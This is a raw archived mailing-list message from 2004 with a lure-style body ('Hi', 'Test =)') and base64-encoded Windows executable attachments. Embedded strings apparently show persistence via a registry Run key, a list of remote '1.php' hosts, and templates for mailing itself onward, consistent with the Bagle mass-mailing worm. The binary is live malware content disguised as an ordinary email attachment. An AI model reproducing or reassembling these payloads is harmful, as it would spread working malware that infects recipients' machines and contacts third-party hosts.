M8CDyf/yrlL/dQjoLAgAAAvAdAczwF/JwgQAgD8Add24AQAAAF/JwgQAVYvs/3UI6L////8L
wHUEycIEAP91COis6f//UGiIEwAAaEqBQADo5+n//wvAdDCAPU6BQAAAdQ3/dQj/dQjo9vj/
/+sN/3UIaE6BQADo5/j///91CGhOgUAA6DsHAADJwgQAVYvsV78cUEAA/IvXM8CDyf/yrlL/
dQjokwcAAAvAdBJoLCtAAP91COie/v//X8nCBACAPwB10l/JwgQAVYvsg8T0V2gABAAAagDo
oAYAAIlF+Gg+AQAAagDokQYAAIlF9P91COjUBgAAi/ho51dAAP91COizBgAA/3X0/3UI6AwG
AACJRfxAdHCLRQjGBAcAi1X0jVIsZoM6LnQ/ZoE6Li50OFL/dQjofwYAAItV9I0S9wIQAAAA
dBpo5VdAAP91COhlBgAA/3UM/3UI6Gv////rCP91COgl////agHoJQYAAP919P91/OioBQAA
hcB1mP91/OiQBQAA/3X46PQFAAD/dfTo7AUAAF/JwggAVYvsg8T8aAAAAQBqQOjDBQAAiUX8
/3UIUOgLBgAAUFDoCf////91/OiuBQAAycIEAFWL7IPE/FZTaAAgAABqQOiQBQAAiUX8/3X8
aP8fAADoVgUAAIt1/IA+AHQcVug2BQAAg/gDdQZW6JL///9W6LsFAAAD8Ebr3/91/OhaBQAA
W17Jw2oAagDoJQYAAAvAdAHDaNAHAADoXAUAAOvmw1WL7IPElFNWaAAEAABqQOghBQAAiUX4
aM1WQAD/NQNQQAD/dQhoXlBAAP91+OhjBQAAg8QU6Kv///9qAGoAagBqAWjrV0AA6M0FAACJ
RfxqAGgAAABAagBqAP91+FDovAUAAJML23QGU+ifBQAA/3X86JcFAAD/dfjovQQAAJNeW8nC
BABX6KHo//8LwHUF6LPj//+/bVBAAPyL1zPAg8n/8q5S6Ff///+APwB17F/DVYvs6M3///9o
wCcJAOiXBAAA6+8zwMnCBABVi+yDxPyNRfxQagBqAGjtLUAAagBqAOjpAwAAUOi/AwAAycNV
i+yBxKD+//9WV1Nq//81HH9AAOhkBAAAxkX/AMaFrv7//wBqCI2Fr/7//1Doo+H///91DOgc
5v//agBqBWoB/3UM/3UI6Fnr//+FwA+EXAIAAP91DOjo5f//i1UMixJqAGoBjYWu/v//UP91
DP9SDP91DOjd5f//gL2u/v//AnQXgL2u/v//A3QOgL2u/v//BHQF6RYCAABqBWoAaMgAAAD/
dQz/dQjoYOv//4XAD4T6AQAA/3UM6Ibl//+LVQyLEmoAaMgAAACNhTf///9Q/3UM/1IM/3UM
6Hjl//9oAFBAAI2FN////1DopgMAAAvAdAXptwEAAPyNvTf///+4AQAAAKuhA1BAAKtqAGoI
jYU3////UP91COjRAwAAgL2u/v//AnQNgL2u/v//Aw+FbQEAAGoAagRqBP91DP91COhf6v//
hcAPhGIBAAD/dQzo7uT//4tVDIsSagBqBI2FqP7//1D/dQz/Ugz/dQzo4+T//2oAagT/taj+
////dQz/dQjoHOr//4XAD4QfAQAA/3UM6Kvk//9oBAEAAI2FN////1DomAIAAGoFjYWv/v//
UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q
6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+
//9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1
oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/
//9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij
AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo////
dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+
Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA
6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA
AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA
QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA
QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA
QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA
QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA
QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB
QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA
QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA
QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA
REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE
AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA
WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD
AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA
JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF
AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA
zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA
AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA
HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA
5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE
AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA
iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG
AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA
TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z
ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA
Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA
RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp
bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl
QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu
Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU
aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA
YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB
TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4
AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C
V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA
uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz
cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA
Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA
aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0
AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA
b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B
AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l
Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu
ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA
rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw
aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA
AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt
aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl
LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy
ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3
Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw
Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0
dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu
LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu
cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu
NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z
dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6
Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu
cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4
ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy
YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93
d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv
MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz
aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3
dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0
dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0
dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t
LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz
DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz
aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu
ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0
L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6
IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z
ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv
ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt
ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0
ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg
ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA
AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF
XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi
YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog
AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB
DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc
ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA
AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA
IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA
AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm
ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w
b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA
FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w
b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm
ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+
/v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA
gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA
AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

----------403654051214462--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0J6Ejib018446; Sun, 18 Jan 2004 22:14:45 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0J6EjaG018445; Sun, 18 Jan 2004 22:14:45 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from muztagh ([203.224.135.188]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0J6Ebic018357 for <[e-mail]>; Sun, 18 Jan 2004 22:14:39 -0800 (PST) (envelope-from [e-mail])
Date: Mon, 19 Jan 2004 15:14:30 +0900
To: [e-mail]
Subject: Hi
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--------357723350507838"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

----------357723350507838
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Test =)
qsynlkea
--
Test, yep.

----------357723350507838
Content-Type: application/x-msdownload; name="taxkrybrqch.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="cqwhdhaamhi.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH
k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA
AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA
AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA
AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
